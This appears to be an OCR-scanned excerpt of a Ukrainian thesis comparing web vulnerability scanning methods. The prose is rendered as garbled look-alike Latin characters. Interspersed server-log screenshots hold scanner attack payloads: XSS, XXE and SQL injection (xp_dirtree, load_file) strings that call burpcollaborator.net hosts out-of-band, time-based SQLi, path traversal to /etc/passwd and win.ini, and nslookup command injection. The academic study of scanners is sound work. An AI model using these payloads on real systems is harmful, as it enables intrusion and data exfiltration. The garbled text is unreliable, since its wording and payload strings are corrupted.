3aXMIIEHOK TOKEHAMU B Xezaepax 3anuty, npu DOM-XSS Hemae equHOro aroputmy
ananizy konxy, Bin Clickjacking B maHoMy BUTIQJKy cepBep HE 3aXHUIICHHUH, X04a Horo
MOBE/IIHKA HE MOKE OYTH IMOBHICTIO IMITOBAaHO CKaHEPOM.

Taka MeToguka peajnizoBaHa y BCIX CKaHepax, Kl OylM Ha3BaHI y LbOMY
po3auni. Jleski ckaHepu MaroTh OuIbIIl 010M10T€KHM MIAOJIOHIB, OJHAK aJrOPUTM
€IVMHHUM - aHaIi3 BMICTy BeO-CTOpIHKM Ta XezaepiB ii Biamosimi. Lls meromuka Oyme

pealizoBaHa y MOl IpaKTUYHIN YaCTHHI JUIIJIOMHOI pOOOTH.

Jamni nporpama 1AeHTH(IKy€e CTOPIHKHM 3 BXIAHUMH NapamMeTpaMH aHali3ye iX
peakmii Ha pi3HI nednoamu. Sk BumHO Ha Pucynky 1.6 - BOoHa miAcCTaBisie [0
napaMeTpiB TeWI0aau, a TaKoK BHUKOHYE I1€ 3 Ha3BaMH JOKYMEHTIB INpu oOpoOiri

nuisixy Ha BeO-cepBepi (1€ MOXKE MPU3BECTH 0 3HAXOHKEHHS HEKOPEKTHUX

KOH]Iryparii)
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~[Desktopftest-vuln-app — -zsh 4fa4zqphvaj77zynpafy4X%3b.burpcollaborator.net%2f) . replace (%2f.%3b%2fg%2c[ 1) 1%2%2f ' src%3d%3e
[Mon May 31 20:31:50 2021] 127.0.0.1:62959 [200]1: /open_redirect.php?javascript%3a%2f*%3c%2fscript%3e%3cimg%2fonerrorkdd’ —%21%22%2f-%2f%200nmouseoverk3d1%2f-%2F [%60+%2f [ 1%2f [ (new(Image)) . sTc%3d (%2
F%3b%2%2b%2 Fbn2egwdcmbgabgunnb49ayzkpbv4]jz7ry fs2iq7X%3b. burpcollaborator . net%2f) . replace (%2f . %3b%2fg%2c( 1) 1%2%2f ' src%3d%3e=1
[Mon May 31 20:31:50 2021] 127.0.0.1:62968 [404]1: /robots.txt?javascript%3a%2f*%3c%2fscript%3e%3cimg%2fonerrorkdd ' -%21%22%2f-%2%200nmouseovers3d1%2f-%2f [%60x%2f [ 1%2f[ (new(Image)) .sTc%3d (%2%3b%2f
b2b%257a80qk665a4paeh7503us]e95fy3urmiacx21rX%3b. burpcollaborator . net%2f) . replace (%2f.%3b%2fg%2c[ 1) 1%2%2f ' stc%3d%3e=1 - No such file or directory
[Mon May 31 20:31:50 2021] 127.0.0.1:62961 [200]: /open_redirect.php?url=/index.php&'%22%3e%3csvg%2fonload%3dfetch%68s%2f%2ftmijwfezultps4ytsmt3rogy2otumif67wvqig6s%sce . burpcollaborator . nets6e%3e=1
[Mon May 31 20:31:50 2021] 127.0.0.1:62963 [200]: /index.php?javascript%3a%2f*%3ck2fscript%3e%3cimgk2fonerrorkad  -%2%22%2f-%2f%2060nmouseoverk3di%2f-%2f [%60+%2f [ 1%2f[ (new(Image) ) . src%3d (%2f%3b%2%
2b%2f8t2bmt69s8w7bdekt8asgvEhv811p1dtshy4osdX%3b. burpcollaborator. net%2f) . replace (%2f .%3b%2fg%2c( 1) 1%2f%2f ' src%3d%3e=1
[Mon May 31 20:31:50 2021] 127.0.0.1:62964 [200]1: /dom_xss.html?search=javascript%3a%2f+%3c%2fscript%3e%3cing%2fonerror¥%3d’ -%2f%22%2f-%2f%200nmouseover%3d1%2f-%2f[%60*%2f[ 1%2f[ (new(Image)) . sTc%3d(
P2 £%3b%2 1%2b%2626951c7y625hb6126g4mtbF1672vtj1a91wrkgX%3b . burpcollaborator.net%2f) . replace (%2f.%3b%2fg%2c[ 1) 1%2f3%2f ' sTc%3d%3e
[Mon May 31 20:31:50 2021] 127.0.0.1:62965 [200]1: /dom_xss.html?javascript%3a%2f+%3c%2fscript%3e%3cimg%2fonerrorkad’ —%2f%22%2f-%2%200nmouseover%3d1%2f-%2f [%60+%2f [ 1%2F[ (new(Image)) .sTc%3d (%2f%3b%
2%2b%27v3a0s88u7y6dc2iv7c51u7gx 730 f670uqi FX%3b. burpcollaborator . nets%2f) . replace (%2f .%3b%2fg%2c( 1) 1%2£%2f ' src%3ds3e=1
[Mon May 31 20:31:50 2021] 127.0.0.1:62969 [200]: /open_redirect.php?url=/index.php&javascript%3a%2f+%3ck2fscript%3e%3cimg%2fonerrorkad' -%2%22%2f-%2f%200nmouseover%k3d1%2f-%2f [%60+%2f[ 1%2f[ (new (Im|
age) ) . sTc%3d (%21%3b%2f%2b%2 Fhufkn271ithxgemltuhbfh46qwh2aq3ev5iz6pueXs3b. burpcollaborator. net%2f) . replace (%2f . %3b%2fg%2c [ 1) 1%2f%2f ' src%3d%3e=1
8 : /xss.php?name=Kitty&'%22%3e%3csvg%2fonload%3dfetch%60%2f%2fm7up@7knémalprey7mokudjvomffacrahsbf13g%5c . burpcollaborator. net%6@%3e=1
/open_redirect.php/'%22%3e%3csvg%2fonload%3dfetch%60%2f%2fb2eevwfclb5akg9n2bj9pyeksbasyxmped6@xom¥%5c . burpcollaborator. net%6@%3e?ur: index.php

[Mon May 31 20:31:50 2021] 127.0.0.1:62979 [200]: /open_redirect.php/javascript%3a%2f*%3c%2fscript%3e%3cimg%2fonerrork3d ' —%21%22%2f-%2f%200nmouseoverk3d1%2f-%2 [%60+%2f [ 1%2f[ (new(Image)) . sTc%3d (%2
F%3b%2%2b%2x310wigy2x6wl2a93xkvakf65xbazinbez8nzaoX%3b. burpcollaborator. net%2f) . replace (%2f .%3b%2fg%2cl 1) 1%2f%2F ' srck3d%3e?url=/index. php
[Mon May 31 20:31:50 2021] 127.0.0.1:62982 [200]: /xss.php?name=Kitty&javascript%3a%2f*%3c%2fscript%3e%3cing%2fonerrork3d’ —%21%22%2f-%2f%200nmouseoverk3d1%2f-%2 [%60+%2f [ 1%2f [ (new(Image)) .sTc%3d (%
2£%3b%2f%2b%2 fwccz5hpxbwfvuljBewtuzjosewkp8mwen2hp7dwX%3b. burpcollaborator . net%2f) . replace (%2f .%3b%2fg%2c[ 1) 1%2f%2F ' sTc%3d%3e=1

May 31 20:31:50 2021] 127.0.0.1:62986 [2001: /open_redirect.php?url=/index.php

May 31 20:31:50 2021] 127. /xss.php/ '%22%3e%3csvg%2fonload%3dfetch%6e%2f%2fcq6tix3dpetb8hxoqc7adz2lscy5m2audiusltakse . burpcollaborator . net%60%3e?name=Kitty

May 31 20:31:50 2021] 127. : /open_redirect.php?url=/index.php

May 31 20:31:50 2021] 127. /dom_xss . html?search=919889& ' %22%3e%3csvg%2fonload%3dfetch%6%2 %2 fxvwloi8yuxywd229vxcvik76xx3arkfc50znpbekse . burpcollaborator . nets%6@%3e=1

May 31 20:31:50 2021] 127. /open_redirect.php?url=/index.php

May 31 20:31:50 2021] 127.0.0.1:63007 /csTf.html?'%22%3e%3csvg%2fonload%3dfetch%60%2f%2fb5heywic4b8angcnsbm9syhk7bd415px F198@wpXk5c . burpcollaborator . net%6@%3e=1

May 31 20:31:50 2021] 127.0.0.1:63009 /csTf.html?javascript%3a%2fx%3ck2fscript%3e%3cing%2 fonerrorkad —%2%225%2f-%2%200nmouseover%3dis2f-%2f [%60x%2f [ 1%2f [ (new(Image) ) . sTc%3d (%27%3b%2 7%}
[2b%2fsuqund7ttsxrexl4usbghfélws21qmee52zpqd fX%3b. burpcollaborator. net%2f) . replace (%2f.%3b%2fg%2c [ 1) 1%2%2f ' sTc%3d%3e=1
[Mon May 31 20:31:50 2021] 127.0.0.1:63012 [2001: /xss.php/javascript%3a%2f+%3ck2fscript%3e%3cimg%2fonerror¥3d' -%2f%22%2f-%2f%200nmouseover%3d1%2f—5%2f[%60x%2f[ 1%2f[ (new(Image) ) . src%3d (%2f%3b%21%2b
62£96dczuja59980ed169n7twii89e222qrhfb22qrX%3b. burpcollaborator. net%2f) . replace (%2f.%3b%2fg%2c[ 1) 1%2%2f ' src%3d%3e?name=Kitty
[Mon May 31 20:31:50 2021] 127.0.0.1:63013 [200]: /open_redirect.php?url=/index.php
[Mon May 31 20:31:50 2021] 127.0.0.1:63016 [200]1: /dom_xss.html?search=919889&javascript%3a%2f+%3ck2fscript%3e%3cimg%2fonerrorkad' -%2%22%2f-%2f%200nmous eover%3d1%2f-%2f [%60+%2F [ 1%2f [ (new(Image)) .
s rc%3d (%2%3b%2f%2b%2 fausdnv7btax9cfimuab8hx6iwa23qxep5dzOpoeXs%3b . burpcollaborator. net%2f) . replace (%2f .%3b%2fg%2c[ 1) 1%2f%2f ' src%3d%3e=1
[Mon May 31 20:31:50 2021] 127.0.0.1:63019 [4041: /'%22%3e%3csvg/onload%3dfetch%60//bs7elwscrbvaagznsb99fyskubBsoxcp2dtsgvaksse. burpcollaborator. nets%6@%3e?url=/index.php - No such file or director|

]
]
.0.
.0,
]
]

y

[Mon May 31 20:31:50 2021] 127.
[Mon May 31 20:31:50 2021] 127.
[Mon May 31 20:31:50 2021] 127.
oho8gv63vX%3b. burpcollaborator. ne:

©.0.1:63022 [200]: /xss.php?name=Kitty
o.
o.
n
May 31 20:31:50 2021] 127.0.
0
[
)
[

ol
.1:63028 [200]: /dom_xss.html?search=919889
.1:63029 [404]1: /javascript%3a/*%3c/script%3e%3cimg/onerrork3d'-/%22/-/%200onmouseovers%3dl/—/[%60%/[1/[ (new(Image)).src%3d(/%3b/%2b/métpz73in5m9lordyémnkt9ivemef28q|
/) .replace(/.%3b/g%2cl1)1//*srck3d%3e?url=/index.php — No such file or directory
.1:63030 1: /xss.php?name=Kitty

May 31 20:31:50 2021] 127.0.0.1

May 31 20:31:50 2021] 127.0.0.1

il

1

63035 /open_redirect.php?url=/index.php
63038 : /dom_xss.html?search:
May 31 20:31:50 2021] 127. 163041 : /xss.php?name=Kitty
May 31 20:31:50 2021] 127.0.0.1:63044 /dom_xss .html?search=919889
May 31 20:31:50 2021] 127.0.0.1:63045 : /sensitive.js?'%22%3e%3csvg%2fonload%3dfetch%60%2f%2fono3gl01meqz55ucn@4yanz9pevtir7ix7ruhis%se . burpcollaborator . net%6@s%3e=1
31 20:31:50 2021] 127.0.0.1:63047 /xss.php?name=Kitty
y 31 20:31:50 2021] 127.0.0.1:63048 : /sensitive.js?javascript¥%3a%2f+%3c%2fscript%3es3cimg¥%2fonerrorsad' —5%21%22%2f-%2f%200nmouseoverk3d1%2f-%2f [%60+%2F[ 1%2F[ (new(Image)) . sTc%3d (%2F3%3b%]
2%2b%2fgo8jh11hngrf6lvsog5eb30pagwok78zzntajy8X%3b. burpcollaborator.net%2f) . replace (%2f.%3b%2fg%2c( 1) 1%2%2f ' sTc%3d%3e=1
[Mon May 31 20:31:50 2021] 127.0.0.1:63053 [484]: /'%22%3e%3csvg/onload%3dfetch%60//slhvedytksor3xs4ls2q8fxinstlhisavymq9gx5%5c . burpcollaborator.net%6@%3e?name=Kitty - No such file or directory
[Mon May 31 20:31:50 2021] 127.0.0.1:63056 [200]1: /dom_xss.html?search=919889
[Mon May 31 20:31:50 2021] 127.0.0.1:63057 [484]: /javascript%3a/*%3c/script%3es%3cimg/onerror%3d' -/%22/~/%200nmouseover%3d1/~/[%60%/[1/[ (new(Image)) .srcs%3d(/%3b/%2b/nkbad8xoinnm2srzkn1l7awwmnsggds|
[5vtm19bx@X%3b.burpcollaborator.net/) .replace(/.%3b/g%2c[1)1//'src%3d%3e?name=Kitty — No such file or directory
[Mon May 31 20:31:50 2021] 127.0.0.1:63059 [4841: /'%22%3e%3csvg/onload%3dfetchs60//wexzthdxzw3vil780whunjc52w8pwikbazirohcé%5e . burpcollaborator.net%6@%3e?search=919889 - No such file or directory|
[Mon May 31 20:31:50 2021] 127.0.0.1:63061 [200]: /xss.php?name=Kitty
[Mon May 31 20:31:50 2021] 127.0.0.1:63064 [4841: /javascript%3a/*%3c/script%3es3cimg/onerror%3d’ —/%22/~/%200nmouseover%3di/~/[%60%/[1/[ (new(Image)) .src%3d(/%3b/%2b/xab@3iny9xdws2h9axrvxkmécxiqékul
c16cszin7X%3b. burpcollaborator.net/) . replace(/.%3b/g%2c[1)1// ' src%3d%3e?search=919889 — No such file or directory
[Mon May 31 20:31:50 2021] 127.0.0.1:63066 [200]1: /dom_xss.html?search=919889
oleksandropanasiuk@MacBook—Pro-0Oleksandr test-vuln-app % cat server-logs | grep '?'[]

Pucynok 1.6 - MeTonnka 3HaXO)KEHHS BPAa3JIMBOCTEN y MTapaMeTpax

Xoua 1 el MeToa MOXKe OyTH CXOKMM Ha BUKOPUCTAHHS aHATi3y 3aluTy Ta
BIJIMOBIJII — OJIHAK 1Ie He Tak. [[porpama nuine BUKOPUCTOBYE MEWUI0AN Y PI3HUX
MICLIX Ta pearye Ha BIJINOBIIb CEpBEpa — TOMY L€ € BUKOPUCTAHHSIM METOLY
nepebopy, 3 AomaTKOBUM (QyHKIIOHamoM aHamnizy. OpHi€r0 13 yHIKaJIbHHUX
0COOJIMBOCTEH IILOTO CKaHEpa € HAJAIITyBaHHS IOMEHY JJisi 0OpOOKM BXITHUX JaHUX
— CKaHep B IAO0JIOHI, KUK MICTUTh B COO1 MOCHJIAHHS JIJIsi 3BOPOTHBLOI BiMOBIIL,
BCTaBJIsle Led JOMEH Ta Mmpu oTpumani 3anuty — Mae False-Negative 3BIT mpo
HasiBHICTh Bpa3iuBocTi (Hanpukiaa, SSRF a6o XXE injection).

Takox mpu JeTanbHOMY JOCHTIJKEHI JIOTIB cepBepy, Oynaa BHsBICHA BEIUKa
KUIbKicTh 404 BiamoBineH - daitn He 3HalAeHO (cat server-logs | grep ‘No such file or
directory’). CkaHep BHUKOHYBaB METOA Iepedopy y KIACUYHOMY BHIIISIAI —

NEePEeBIpAIOYHN UM JOKyMEHT Oy/e 3aBanTakeHuidl. Ha Pucynky 1.7 Mu maemo 3mory
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M test-vuln-app — -zsh — 196x58

2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
2021]
.inizurl=,
2021] 127.0.

[404]: /dtagmy6esdwcbi@ptdabg@5mvd16p@dsljtéjus. burpcollaborator.net?search=919889 — No such file or directory

[BAORT8 (foolloolaclloollacllaclleclacliaclolasl] /../etc/passwd%e@index.php - No such file or directory

[404]: /old_open_redirect.php — No such file or directory

[404]: /Tobots.txt.tar.lzma - No such file or directory

[404]: /xss.phpbak - No such file or directory

[404]: /xss.tar.lzma - No such file or directory

[404]: /open_redirect%20-%20Copy.php - No such file or directory

[404]: /http%3a//gméjfizhlgpfsltsmg3e93ypogu9idstukm7cv.burpcollaborator.net¥%3fdom_xss.html?search=919889 - No such file or directory

[200]: /csrf.html

[200]: /index.php

[4041: /http%3a//x200vifylx5wk2992xjvpkebsxaqynndas2rsth.burpcollaborator.net/%3fxss.php?name=Kitty — No such file or directory

[200]: /robots_backup

[404]: /open_redirectl.php — No such file or directory

[404]: /xss.php_backup - No such file or directory

[404]: /robots.txt.tar.xz — No such file or directory

[4041: /bak_open_redirect.php - No such file or directory

[404]: /xss.tar.xz - No such file or directory

[404]1: /%252e%252e%255¢%252e%252e%255C%252e%252e%255c%252e%252e%255¢%252e%252%255C%252e%252e%255c%252e%252e%255¢%252e%252e%255C%252e%252e%255c%252e%252¢
hp - No such file or directory
. : /dom_xss.html?search=919889

P OIS ®

=

2021] 127.0.0. : /csrf.html

2021] 127.0.0. : /%3cyzz%20xmlns%3d%22http%3a//a.b/%22%20xmlns%3axsi%3d%22http%3a/ /www.w3. 0rg/2001/XMLSchema-instance%22%20xsi%3aschemalocation%3d%22http%3a//a.b/%
26http%3a//punsna7qtpxocullupbnhcéywp2iqiei29uwkk9. burpcollaborator.net/yzz. xsd%22%3eyzz%3c/yzz%3e — No such file or directory
[Mon May 31 20:31:40 2021] 127..0.1:61724 [4841: /Http%3a//4j07cpw5i4m319qgj4026rvdl4rxfudn5bwdjt7i.burpcollaborator.net/%3fxss.php?name=Kitty - No such file or directory
[Mon May 31 20:31:40 2021] 127.0.8.1:61725 [4841: /open_redirect.php..%5c..%5¢. .%5¢. .%5C. .%5C. .%5C. .%5C. .%5C. .%5¢. .%5¢. .%5¢. .%5C. .%5C. .%5C. .%5¢. .%5cwindows%5ewin. inizurl=/index.php - No such file

2021] 127.0.0.1:61726 [404]: /robots.txt.xz - No such file or directory

2021] 127.0.0 [404]: /open_redirect_old.php - No such file or directory

2021] 12 [404]: /backup_open_redirect.php — No such file or directory

2021] 12 [200 /robotsinc

140 2021] 127.0.0.1: [404]: /%3ccuf%20xmlns%3axi%3d%22http%3a//www.w3.0rg/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//9cmcbupab9f8uejlc9t7zwoie9k282w3kuch25r . burp
t/fo0%22/%3e%3c/cuf%3e — No such file or directory
May 31 20211 127.0.0. [404]: /xss.phpinc - No such file or directory
May 31 20211 127. [404]: /open_redirect_bak.php - No such file or directory
May 31 2021] 127.0.0. [4041: /open_redirect.php../e./oo/uifoil il videidid ol oul il il f ] . /windows/win.ini?url=/index.php - No such file or directory
May 31 2021] 127.0.0. [404]: /robots.txt.zip - No such file or directory
May 31 2021] 127.0.0. [404]: /open_redirect.php.7z - No such file or directory
May 31 2021] 127.0.0. [404]: /xss.xz — No such file or directory
May 31 2021] 127.0.0. [200]: /csrf.html
May 31 20211 127.0.0. [404]: /https%3a//mmcpf7znlmplértymm3k99yvomuficé3uumhcsl.burpcollaborator.net/%3fxss.php?name=Kitty - No such file or directory
May 31 2021] 127.0.0. [404]: /nslookup%20-g%3dcname%20z1lo2eky@kzoy34sblz2x8mx8nztshm5f83zvmlaa.burpcollaborator.net.%26?search=919889 — No such file or directory
May 31 2021] 127.0.0. [200]: /robotsl
May 31 20211 127.0.0. [404]: /open_redirect_backup.php - No such file or directory
May 31 2021] 127.0.0. [404]: /xss.phpl - No such file or directory
May 31 20211 127.0.0. [404]: /open_redirect.php.ar - No such file or directory
May 31 2021] 127.0.0. [404]: /xss.zip - No such file or directory
May 31 20211 127.0.0. [200]: /xss.php?name=Kitty
May 31 : 2021] 127.0.0.1: [404]: /open_redirect.php..%5c..%5c..%5¢c. .%5c..%5¢C. .%5¢C. .%5C. .%5¢C. .%56c. .%5¢C. .%5C. .%5¢C. .%5¢. .%5¢C. .%5¢. .%5cwinnt%5cwi ?url=/index.php - No such file or
directory

May 31 H 2021] 127.0.0.1: [404]: /robots.txt.rar - No such file or directory
May 31 20211 127.0.0. /index.php]11%3e%3e%3c - No such file or directory
May 31 20211 127.0.0. : /dom_xss.html%7cnslookup%20-q%3dcname%20udbxéfqvcugtvzkéduusehp3fuln9hxdlédrafs. burpcollaborator.net.%26?search=919889 - No such file or directory
May 31 2021] 127.0.0. /csrf.html
May 31 2021] 127.0.0. /robots.7z - No such file or directory
May 31 20211 127.0.0. /index.php
May 31 2021] 127.0.0. /xss.rar - No such file or directory
May 31 2021] 127.0.0. : /open_redirect.php../../o./uifoil il eidoidoif ool oid il /o ] [winnt/win.ini?url=/index.php — No such file or directory
May 31 2021] 127.0.0.1: : /nslookup%20-q%3dcname%20tlvwueeudt4sjy851tirogd23t9mxjlcodfs2iq7.burpcollaborator.net.%262name=Kitty — No such file or directory

Pucynok 1.7 - Knacuunuii meton nepedopy
O0auutH, MO nepedip OyB 3poOJIEHUN UIsI MOXIMBHUX NPUCYTHIX (GailiB Ta s

aHaII3y ICHYOUuX (ailriB — iX pO3MIUPEHH Ta MOXIIMBUX TICEBI0O-IMEH.

Takox HEOOXiAHO Kpallle PO3AMBUTUCS aJTOPUTM POOOTH 1aeHTHdIKAIT

BpA3JIMBOCTEN B IapaMeTpax.

B norax My 6a4mMo BENMKY KIJTBKICTh CXOXKHX 3aMMUTIB s 11eHTHdIKaIi XSS
ta SQL injection. Lle# mpukian mokasye HETOCKOHATIICTh METOAY IMepedopy s
NOIIYKY Bpa3JMBOCTEH Yy JMHAMIYHUX MicUgX BeO-3actocyHky. Ilpu mnepebopi
Nens0aiB, BIANOBIIb cepBepa Moxxke Oytu False-Positive, cepBep Moxe OnoKyBaru
HaIIl IIKIJUTB1 HArp3KuU a0o0 B3araji 3a0JI0KyBaTH JOCTYI - HE KaXy4dd MPO BEIIHUKY
KUIBKICTh 3alUTIB 1[0 MPU3BOAUTH JI0 3MEHIICHHS €(QEeKTHBHOCTI poOOTH BeO-
3aCTOCYHKY. Y MpaKTU4YHIM YacTuH1 s 1i1eHTrdikaiii XSS OyB peaizoBaHU METO

aHaji3y BIANOBIACH, a TOMY KUIBKICTh 3aIllUTIB 3HAYHO 3MEHUINIACH.



oleksandropanasiuk@MacBook-Pro-Oleksandr test-vuln-app % cat server-logs | grep 'xss.php?'

31 20:31:12 2021] 127.0.0.1:57673 [200]: /xss.php?name=Kitty

31 20:31:19 2021] .0.0. [200]: /xss.php?name=Kitty

31 20:31:19 2021] 127.0.0.1:57723 [200]: /xss.php?name=Kitty

31 20:31:22 2021] 127.0.0.1:57755 [200]: /xss.php?name=Kitty

y 31 20:31:22 2021] 127.0.0.1:57764 [200]: /xss.php?name=(select%2@extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c | DOCTYPE%20T00t%20[%20%3c | ENTITY%20
%25%20pgpC t%20SYSTEM%20%22ht tp%3a%2f%2fturwne7uttxscy15utbrhg62wt2mqjem2dp3ds . burpcollab'%7c%7¢ orator. net%2f%22%3e%25pgpct3%3b1%3e ' )%2c '%2f1" )%20from%20dual )
[Mon May 31 20:31:23 2021] 127.0.0.1:57784 [200]: /xss.php?name=Kitty'%7c%7c(select%20extractvalue(xmltype ('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c ! DOCTYPE%20T00t%20[%20%
3c | ENTITY%20%25%20pgpct%20SYSTEM%20%22ht tp%3a%2f%2f5258vqf61554ka9h25]3psees5ayyvmzaqxgls . burpcollab ' %7c5%7c orator . net%2f%22%3e%25pgpct%3b1%3e ' )%2c ' %2F1' )%20from%20dual)%7c%7c "
[Mon May 31 20:31:23 2021] 127.0.0.1:57792 [200]: /xss.php?name=Kitty%3bdeclare%20@q%2@varchar(99)%3bset%200q%3d ' %5c%5cxcd@5ipybxfwu2j9cxtvzkobexkq8nwem2dp3ds . burpcollab'%2b ' orator.net%5cix1 ' %3b%2
@exec%20master.dbo.xp_dirtree%200q%3b—-%20
[Mon May 31 20:31:23 2021] 127.0.0.1:57801 [200]: /xss.php?name=Kitty'%3bdeclare%20@q%2@varchar(99)%3bset%200q%3d ' %5c%5cokcrd9xpjonn2trekoin7bwxmoshge45vtmge4l. burpcollab'%2b  orator.net%5c]fs '%3b%
20exec%20master.dbo.xp_dirtree%200q%3b--%20
[Mon May 31 20:31:23 2021] 127.0.0.1:57808 [200]: /xss.php?(select%2@extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c | DOCTYPE%20r00t%20[%20%3c | ENTITY%20%25%2
0seckx%20SYSTEM%20%22ht tp%3a%2f%2fwttzmh6xswwvb108twaugj55vwippodrilobc®. burpcollab ' %7c%7c orator. net%2f%22%3e%25seckx%3b1%3e ' )%2c ' %2F1' )%20from%20dual)=1
[Mon May 31 20:31:23 2021] 127.0.0.1:57810 [200]: /xss.php?name=Kitty)%3bdeclare%20@q%20varchar(99)%3bset%200q%3d ' %5c%5ckqenj531pktiBpxwak7id72tskydmaal2ptcie8. burpcollab'%2b ' orator.net%5cyfd'%3b%
20exec%20master.dbo.xp_dirtree%200q%3b--%20
[Mon May 31 20:31:23 2021] 127.0.0.1:57811 [200]: /xss.php?1'%7c%7c(select%2@extractvalue(xmltype ('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3%3e%3c | DOCTYPE%20r00t%20[%20%3c | ENTITY
%20%25%20seckx%20SYSTEM%20%22ht tp%3a%2f%2fkg4n95t1fkjjypnwgkxi37stikodcc@goab@zp.burpcollab'%7c%7c  orator.net%2f%22%3e%25seckx%3b1%3e ' )%2c'%2f1"' )%20from%20dual)%7c%7c =1
[Mon May 31 20:31:23 2021] 127.0.0.1:57819 [200]: /xss.php?1%3bdeclare%20@q%20varchar(99)%3bset%200q%3d "' %5c%5c5w28pq96v5z4ea3hwsd3jsBey54ysxgo6clzant.burpcollab %2b  orator.net%5cfge ' %3b%20execs20m
aster.dbo.xp_dirtree%200q%3b--%20=1
[Mon May 31 20:31:23 2021] 127.0.0.1:57820 [200]: /xss.php?name=Kitty')%3bdeclare%20@q%20varchar(99)%3bset%200q%3d '%5c%5ccwcfpx9dvezbeh3owcdajz8lyc4s5s2gt9h04gst.burpcollab '%2b  orator.net%5cplp ' %3b
%20execk%20master.dbo. xp_dirtree%200a%3b--%20
[200]: /xss.php?name=(select%20load_file('%5c%5c%5c%5c3sw6105413v2a82Fs391fqhcuewotcke8svvik.burpcollaborator.net%5c%5cpfn'))

[Mon May 31 20: .0.0. [200]: /xss.php?1'%3bdeclare%20@q%20varchar(99)%3bset%200q%3d' %5c%5cibymssokajeitoivbjshyénsdijc7bv2magdélv.burpcollab'%2b' orator.net%5cage '%3b%20exec%20

[200]: /xss.php?name=Kitty'%2b(select%20load_file('%5c%5ck5c%5ckmanf5z11kpi4ptwmk3i97ytokudia619p@cqef . burpcollaborator . net%5c%5cxen’ ))%2b’
[200]: /xss.php?1)%3bdeclare%200q%20varchar (99)%3bset%200q%3d '%5c%5cgg0j91thfg]fylnsggxeddspigo9c8dzsnmacyl. burpcollab ' %2b ' orator. net%5cfyr %3b%20execk20

master.dbo.xp_dirtree%20@qg%3b--%2

[Mon May 31 20:31:23 2021] 127.0.0. [200]: /xss.php?name=Kitty"'
[Mon May 31 20:31:23 2021] 127.0.0. [200]: /xss.php?1')%3bdeclare%20@q%20varchar(99)%3bset%200q%3d ' %5c%5clujon67mtlxkeqlxulbjh86uwl2eqdes7s1frag.burpcollab'%2b orator.net%5cefm' %3b%20execk2
.xp_dirtree%200q%3b
May 31 20:31:23 2021] 127.0.0. [200]: /xss.php?(select%201load_file('%5ck5c%5c%5cdIng2yme8deerigp9dabwelmbdh655twvkp7 fv4. burpcollaborator. net%¥5ck5cexa’ ) )="
May 31 20211 127.0. /xss.php?name=Kitty' (selectxfrom(select(sleep(20))
May 31 : 2021] 127.0.0. /xss.php?1'%2b(select%201load_file('%5c%5c%5c%5c]jémcswkijmiloqvijjehé6vslircfb326q@dqlf.burpcollaborator.net%5c%5cfov!))%2b'=1
May 31 2021] 127.0.0. : /xss.php?name=Kitty'%2b(selectxfrom(select(sleep(20)))a)%2b"
May 31 2021] 127.0.0. ¢ /xss.php?1%2@into%200utfile%20 ' %5c%5c%5c%5c6e197rr7d6hswblie6valtqfgémzayyp2dwemob. burpcollaborator. net%5c%5ckeu ' %3b%20--%20=1
May 31 20:31:24 2021] 127.0.0. /xss.php?name=Kitty'%20and%20(selectxfrom(select (sleep(20)))a)--%20
May 31 20211 127.0.0. : /xss.php?name=Kitty%2c(select+from(select(sleep(20)))a)
May 31 20: 20211 127.0.0. : /xss.php?1'=1
May 31 2021] 127 /xss.php?name=Kitty'%2@waitfor%2@delay'0%3a0%3a20"
May 31 20: 20211 127.0.0. /xss.php?(selectsfrom(select(sleep(20)))a)=1
May 31 20:31:24 2021] 127.0.0. /xss.php?name=Kitty' )waitfor%20delay'0%3a0%3a20
May 31 20:31:24 2021] 127.0.0. /xss.php?1%2b(selectxfrom(select(sleep(20)))a)%2b=1
May 31 20: 2021] 127.0.0. /xss.php?name=Kitty'%2c@)waitfork20delay ' 0%3a0%3a20"
May 31 20211 127. /xss.php?1%20and%20 (select+from(select(sleep(28)))a)--%20=1
May 31 131: 2021] 127.0.0. : /xss.php?1%2ewaitfor%2edelay'0%3a0%3a20
May 31 : 2021] 127.0.0.1: : /xss.php?name=Kitty65627454'%200r%20"'9883'%3d' 9883
May 31 : 2021] 127.0.0. /xss.php?1)waitfor%2@delay'0%3a0%3a20"
May 31 2021] 127.0.0. .php?name=Kitty30085170'%2001%20' 6761'%3d' 6767
May 31 :31: 2021] 127.0.0. .php?1%2c@)waitfor%20delay ' 0%3a0%3a20"
May 31 : 2021] 127.0.0. -php?152716426%2001%205815%3d05815=1
May 31 2021] 127. . /xss.php?152631800%2001r%202615%3d261
May 31 & 2021] 127.0.0. /xss.php?name=Kitty91466248'%200r%20'6211'%3d"' 6211
May 31 2021] 127.0.0. : /xss.php?180219588%2001%206717%3d06717--%20=1
May 31 2021] .0.9. ¢ /xss.php?name=Kitty85594274'%2001%20'7780'%3d'7780"
May 31 : 2021] 127.0.0.1:57988 /xss.php?140700991%2001%201494%3d1503--%20=1
May 31 20:31:25 2021] 127.0.0.1:57991 [200]: /xss.php?name=Kitty19615564'%2001%207412%3d7412--%20

Pucynox 1.8 - CkaHnyBaHHS mapaMeTpiB

1.3 E¢pexTuBHICTH METOAIB

VY KOXHOTO METOIy € CBOi mepeBaru Ta Henodiku. OHaK ICHYIOTh IpOorpaMu
K1 200 TIOETHYIOTh 111 METO/IU, a0 TOAAI0Th THYYKHI (PYHKITIOHAT JIJIs ITOKpAIeHHS
poboTH.

BuxopuctoByroun meton nepebopy mporpama 3/iHcHIOe Habarato Oujiblie
HAaBaHTAXXCHHS Ha cepBep Ta NoTpedye OUIBIIOI KUTBKOCTI dYacy, Xoda IIe
KOMIICHCYEThCSI MEHIIIOI KiIbKOCTIO False-Positive 3BiTiB.

[Ipu Meromi aHami3y BIAMOBIJI MpPOTpaMa «IHTEJICKTYaJbHO» IIYKa€e CIocoOH
eKCIUTyaTallli Bpa3JIMBOCTI Ta 3MEHIILY€E 00’ €M pOOOTH.

Takoxx HeoOX1AHO cka3zatu mpo Spider — el KOMIUIEKC alrOpPUTMIB JTO3BOJISIE
